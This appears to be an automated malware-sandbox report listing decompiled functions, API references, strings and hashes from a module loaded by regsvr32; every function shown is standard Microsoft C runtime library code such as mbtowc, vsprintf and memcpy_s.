Opcode ID: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction ID: 2d2c21a115c33e05293010ad7c3501076a31da08f4abba68164bfd8b1e70ad26
Opcode Fuzzy Hash: ee01400f27967885302bbfc3418a092fc70a607ac75d61aa13826b291406155b
Instruction Fuzzy Hash: 9EC14D3190CB8A85EBA08B28E84436EA3E0F386794F614535D6DE43BB5DF7ED448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F000 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 15%

			E000007FE7FEF9D3F000(long long __rcx, signed char* __rdx, long long __r8, long long __r9, long long _a8, signed char* _a16, long long _a24, long long _a32) {
				intOrPtr _v24;
				long long _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t80;
				void* _t81;
				void* _t89;
				void* _t92;
				intOrPtr _t102;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t139;
				signed char* _t141;
				intOrPtr* _t142;
				intOrPtr* _t143;
				intOrPtr* _t144;
				intOrPtr* _t148;
				intOrPtr* _t149;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 == 0) goto 0xf9d3f031;
				if (_a24 != 0) goto 0xf9d3f038;
				goto 0xf9d3f31a;
				_t136 = _a16;
				if ( *_t136 != 0) goto 0xf9d3f066;
				if (_a8 == 0) goto 0xf9d3f05f;
				 *_a8 = 0;
				goto 0xf9d3f31a;
				0xf9d266b0();
				_t80 = E000007FE7FEF9D26840(0,  &_v88);
				_t137 =  *_t136;
				if ( *((intOrPtr*)(_t137 + 0x10c)) == 1) goto 0xf9d3f0d2;
				_t81 = E000007FE7FEF9D26840(_t80,  &_v88);
				if ( *((intOrPtr*)( *_t137 + 0x10c)) == 2) goto 0xf9d3f0d2;
				_t139 = L"_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2";
				_v104 = _t139;
				r9d = 0;
				r8d = 0x47;
				0xf9d2b3b0();
				if (_t81 != 1) goto 0xf9d3f0d2;
				asm("int3");
				E000007FE7FEF9D26840(0,  &_v88);
				if ( *((intOrPtr*)( *_t139 + 0x14)) != 0) goto 0xf9d3f121;
				if (_a8 == 0) goto 0xf9d3f106;
				_t141 = _a16;
				 *_a8 =  *_t141 & 0x000000ff;
				_v56 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v56,  &_v88);
				if (E000007FE7FEF9D32B90( *_a16 & 0x000000ff, _t141, _t141) == 0) goto 0xf9d3f276;
				_t89 = E000007FE7FEF9D26840(_t88,  &_v88);
				_t142 =  *_t141;
				if ( *((intOrPtr*)(_t142 + 0x10c)) - 1 <= 0) goto 0xf9d3f1f3;
				E000007FE7FEF9D26840(_t89,  &_v88);
				_t143 =  *_t142;
				if (_a24 -  *((intOrPtr*)(_t143 + 0x10c)) < 0) goto 0xf9d3f1f3;
				if (_a8 == 0) goto 0xf9d3f191;
				_v36 = 1;
				goto 0xf9d3f199;
				_v36 = 0;
				_t92 = E000007FE7FEF9D26840( *((intOrPtr*)(_t143 + 0x10c)),  &_v88);
				_t144 =  *_t143;
				_v32 = _t144;
				E000007FE7FEF9D26840(_t92,  &_v88);
				_v96 = _v36;
				_v104 = _a8;
				r9d =  *((intOrPtr*)(_v32 + 0x10c));
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f247;
				E000007FE7FEF9D26840(_t94,  &_v88);
				if (_a24 -  *((intOrPtr*)( *((intOrPtr*)( *_t144)) + 0x10c)) < 0) goto 0xf9d3f221;
				_t148 = _a16;
				if ( *((char*)(_t148 + 1)) != 0) goto 0xf9d3f247;
				0xf9d2ab30();
				 *_t148 = 0x2a;
				_v52 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				E000007FE7FEF9D26840(_v52,  &_v88);
				_t149 =  *_t148;
				_v48 =  *((intOrPtr*)(_t149 + 0x10c));
				E000007FE7FEF9D26800( &_v88);
				_t102 = _v48;
				goto 0xf9d3f310;
				if (_a8 == 0) goto 0xf9d3f28b;
				_v24 = 1;
				goto 0xf9d3f293;
				_v24 = 0;
				E000007FE7FEF9D26840(_t102,  &_v88);
				_v96 = _v24;
				_v104 = _a8;
				r9d = 1;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) != 0) goto 0xf9d3f2f8;
				0xf9d2ab30();
				 *((intOrPtr*)( *_t149)) = 0x2a;
				_v44 = 0xffffffff;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				_v40 = 1;
				E000007FE7FEF9D26800( &_v88);
				goto 0xf9d3f31a;
				return E000007FE7FEF9D26800( &_v88);
			}

0x7fef9d3f000
0x7fef9d3f005
0x7fef9d3f00a
0x7fef9d3f00f
0x7fef9d3f024
0x7fef9d3f02f
0x7fef9d3f033
0x7fef9d3f038
0x7fef9d3f045
0x7fef9d3f050
0x7fef9d3f05c
0x7fef9d3f061
0x7fef9d3f073
0x7fef9d3f07d
0x7fef9d3f082
0x7fef9d3f08c
0x7fef9d3f093
0x7fef9d3f0a2
0x7fef9d3f0a4
0x7fef9d3f0ab
0x7fef9d3f0b0
0x7fef9d3f0b3
0x7fef9d3f0c5
0x7fef9d3f0cd
0x7fef9d3f0cf
0x7fef9d3f0d7
0x7fef9d3f0e3
0x7fef9d3f0ee
0x7fef9d3f0f0
0x7fef9d3f103
0x7fef9d3f106
0x7fef9d3f113
0x7fef9d3f11c
0x7fef9d3f126
0x7fef9d3f140
0x7fef9d3f14b
0x7fef9d3f150
0x7fef9d3f15a
0x7fef9d3f165
0x7fef9d3f16a
0x7fef9d3f17a
0x7fef9d3f185
0x7fef9d3f187
0x7fef9d3f18f
0x7fef9d3f191
0x7fef9d3f19e
0x7fef9d3f1a3
0x7fef9d3f1a6
0x7fef9d3f1b0
0x7fef9d3f1bc
0x7fef9d3f1c8
0x7fef9d3f1d2
0x7fef9d3f1f1
0x7fef9d3f1f8
0x7fef9d3f20f
0x7fef9d3f211
0x7fef9d3f21f
0x7fef9d3f221
0x7fef9d3f226
0x7fef9d3f22c
0x7fef9d3f239
0x7fef9d3f242
0x7fef9d3f24c
0x7fef9d3f251
0x7fef9d3f25a
0x7fef9d3f263
0x7fef9d3f268
0x7fef9d3f271
0x7fef9d3f27f
0x7fef9d3f281
0x7fef9d3f289
0x7fef9d3f28b
0x7fef9d3f298
0x7fef9d3f2a4
0x7fef9d3f2b0
0x7fef9d3f2b5
0x7fef9d3f2d3
0x7fef9d3f2d5
0x7fef9d3f2da
0x7fef9d3f2e0
0x7fef9d3f2ed
0x7fef9d3f2f6
0x7fef9d3f2f8
0x7fef9d3f305
0x7fef9d3f30e
0x7fef9d3f321

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F113
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D3F1E9
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F239
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3F263

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c, xrefs: 000007FEF9D3F0B9
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2, xrefs: 000007FEF9D3F0A4

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide
String ID: _loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbtowc.c
API String ID: 3162172745-1617866167
Opcode ID: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction ID: 684ba7971de88d1067c150b2dc8aa1ec623b130c6e00156a0851ae80eca3a1f6
Opcode Fuzzy Hash: 1f8ba6bd668c859fdc1c929c81f91c7de023d0dcacf149bd6155c41000b32a69
Instruction Fuzzy Hash: A9913C32A1C78586E7A0DB19E8507AEB7E0F785B45FA08136E6CD837A5DB3ED444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26BF0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Part of subcall function 000007FEF9D2C170: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D26E74

Strings

, xrefs: 000007FEF9D26D3E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
Data: <%s> %s, xrefs: 000007FEF9D26E49
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD
_printMemBlockData, xrefs: 000007FEF9D26DED

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invoke_watson_if_oneof_swprintf_p
String ID: $ Data: <%s> %s$%.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 792801276-1329727594
Opcode ID: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction ID: 74944a5c68176a92a31906070f765b18f74d9586b7891cebb3d67554b9ce35f5
Opcode Fuzzy Hash: 3bedb609291a4b858326ef236c1a71752733cc22d3f81b148e8b3570f3bc9f75
Instruction Fuzzy Hash: B2613872A0D7C186E7B49B10E8907AEBBA0F784740FA18126D6CD47BA9DB3ED404CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3F900 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D3F913
__doserrno.LIBCMTD ref: 000007FEF9D3F99E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3F9D8

Strings

_get_osfhandle, xrefs: 000007FEF9D3F9CA, 000007FEF9D3FA99
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3F969, 000007FEF9D3F9D1
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c, xrefs: 000007FEF9D3F97E, 000007FEF9D3F9C3, 000007FEF9D3FA4D, 000007FEF9D3FA92
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3FA38, 000007FEF9D3FAA0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno$_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_get_osfhandle$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\osfinfo.c
API String ID: 747159061-3177431134
Opcode ID: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction ID: efe890aaf17933dee885bd0091a5358479214bdc632742ad2579ba78141b5705
Opcode Fuzzy Hash: a294e87af6799fd5b40bd152d4ba1c080b88c0b0971c2ee76bd3c9e1fffa8bcc
Instruction Fuzzy Hash: 25518C32A1864A86F7909B59E88076EB3E1F3807A5F609321E1ED077F5D7BED500CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BA60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2BAFB
HeapSize.KERNEL32 ref: 000007FEF9D2BB40
HeapReAlloc.KERNEL32 ref: 000007FEF9D2BB61
_is_LFH_enabled.LIBCMTD ref: 000007FEF9D2BB8B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c, xrefs: 000007FEF9D2BAAC, 000007FEF9D2BAE6
_expand_base, xrefs: 000007FEF9D2BAED
pBlock != NULL, xrefs: 000007FEF9D2BA97, 000007FEF9D2BAF4

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$AllocH_enabledSize_invalid_parameter_is_
String ID: _expand_base$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\expand.c$pBlock != NULL
API String ID: 1608253119-1427866139
Opcode ID: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction ID: af7a509f9d9663d3d091774dda128b819ecaca6506a1d0d194354ddf51f74ba4
Opcode Fuzzy Hash: b3a6b944d23a3465c4e6046a1e88bc32cc41bb9fe3a320684877be901aeb32e4
Instruction Fuzzy Hash: 0F41573191DB4686E7A09B20F84436E72E0F786780F614135E6CD43AF8CBBEE485CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D386B0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3876B
_invalid_parameter.LIBCMTD ref: 000007FEF9D3883D
_invalid_parameter.LIBCMTD ref: 000007FEF9D38B4C

Strings

string != NULL && sizeInWords > 0, xrefs: 000007FEF9D387D9, 000007FEF9D38836
format != NULL, xrefs: 000007FEF9D38707, 000007FEF9D38764
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D3871C, 000007FEF9D38756, 000007FEF9D387EE, 000007FEF9D38828, 000007FEF9D38AFD, 000007FEF9D38B37
("Buffer too small", 0), xrefs: 000007FEF9D38AE8, 000007FEF9D38B45
_vsnwprintf_s_l, xrefs: 000007FEF9D3875D, 000007FEF9D3882F, 000007FEF9D38B3E

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnwprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c$format != NULL$string != NULL && sizeInWords > 0
API String ID: 2123368286-2958264153
Opcode ID: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction ID: 82e3240dde4e8d48ae566a9cb8a6505450234aa7e72eaba3f84792f0d3cada8d
Opcode Fuzzy Hash: ced4706838129b7b95ee409a728acbeff35cdf169ec97d38e23daf610fb20cc8
Instruction Fuzzy Hash: 3CE14D31A1DA868AEBB48B24E84076EB3E0F385765F204225E6DD43BE5DB7ED445CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C1A3 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C1F1

Strings

-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-569934968
Opcode ID: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction ID: 28cad1f176e9be3240a3a6eae7be917d28bff7715537f6893ff636485155e31a
Opcode Fuzzy Hash: a4b0ff099cb4cab39938a39410f3255722065ce2ff61adb6fbb12e1a083add00
Instruction Fuzzy Hash: 4AD11D7260DBC58BE7B1CB65E8507AEB7E4F384785F200125EAC886AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BFDE Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3BFDE(char _a696, char _a976) {

				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

, xrefs: 000007FEF9D3CA88
7, xrefs: 000007FEF9D3BFFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: wctomb_s
String ID: $("Incorrect format specifier", 0)$7$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2215178078-1895985292
Opcode ID: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction ID: 997c34190204a200d34649c4b27f82da9c53e16be2ae3c50a0a3632b50fb2b35
Opcode Fuzzy Hash: cbe9265cfe95002cd01c633456f4143dcea286b255341fa392fef384a43988b7
Instruction Fuzzy Hash: E5B12E7260C7C68AE7B1CB24E8457AEB7E4F384785F604126DAD887AA9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32260 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32310
_invalid_parameter.LIBCMTD ref: 000007FEF9D323B4
_invalid_parameter.LIBCMTD ref: 000007FEF9D32505

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D322C1, 000007FEF9D322FB, 000007FEF9D32365, 000007FEF9D3239F, 000007FEF9D324B6, 000007FEF9D324F0
format != NULL, xrefs: 000007FEF9D322AC, 000007FEF9D32309
_vsprintf_s_l, xrefs: 000007FEF9D32302, 000007FEF9D323A6, 000007FEF9D324F7
("Buffer too small", 0), xrefs: 000007FEF9D324A1, 000007FEF9D324FE
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D32350, 000007FEF9D323AD

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL$string != NULL && sizeInBytes > 0
API String ID: 2123368286-348877268
Opcode ID: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction ID: 912ac3d754b702bf63931d64d46681ea7dc30ff1a731304ef262a69894a36d33
Opcode Fuzzy Hash: 2cfb79548520c5644ac56b859ec2257f97161b74a067da09cc3df7a1a7a1eb8b
Instruction Fuzzy Hash: 60913A32A0DA4286E7A08B68E84476E77E0F394365F204625E7DD43AF8DB7EE5458F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BB66 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D32B90: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D32BD7

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BC75
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BC8A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3BC23, 000007FEF9D3BC60
(ch != _T('\0')), xrefs: 000007FEF9D3BC0E, 000007FEF9D3BC6E
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3BC67

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$(ch != _T('\0'))$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-4087627024
Opcode ID: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction ID: 0390e2d988dd4d1b4c77dc3c399ba89b4ed25e2388807167c80bf5b266a398b6
Opcode Fuzzy Hash: 129faf18f11d0aee11f016f36c84ee6a14c26cc1d7ed9976eab63fbc1969d985
Instruction Fuzzy Hash: 95713A72A0D6C286E7F09B24E8947BEB7E4E384345F604126D6CD86AA9DB3ED540CF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30FD0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D31084

Strings

sizeInBytes >= count, xrefs: 000007FEF9D31185, 000007FEF9D311E2
dst != NULL, xrefs: 000007FEF9D31020, 000007FEF9D3107D
src != NULL, xrefs: 000007FEF9D310E5, 000007FEF9D31142
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c, xrefs: 000007FEF9D31035, 000007FEF9D3106F, 000007FEF9D310FA, 000007FEF9D31134, 000007FEF9D3119A, 000007FEF9D311D4
memcpy_s, xrefs: 000007FEF9D31076, 000007FEF9D3113B, 000007FEF9D311DB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: dst != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\memcpy_s.c$memcpy_s$sizeInBytes >= count$src != NULL
API String ID: 2123368286-3692278645
Opcode ID: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction ID: a0804de238eaeeb3fb2e5788e9c0a34a411087d46cc23648724fab17a52a0f2c
Opcode Fuzzy Hash: 55675c40df69ab8a15ad1ce5aa383a74447e024eaeb1f72783c964e483dda9b8
Instruction Fuzzy Hash: 0E513C31A1C68686F7A0CB24E8447BE76E5F384344F604136E6CD47AB8DBBEE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BC30 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_base.LIBCMTD ref: 000007FEF9D2BC55
_free_base.LIBCMTD ref: 000007FEF9D2BC6C

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

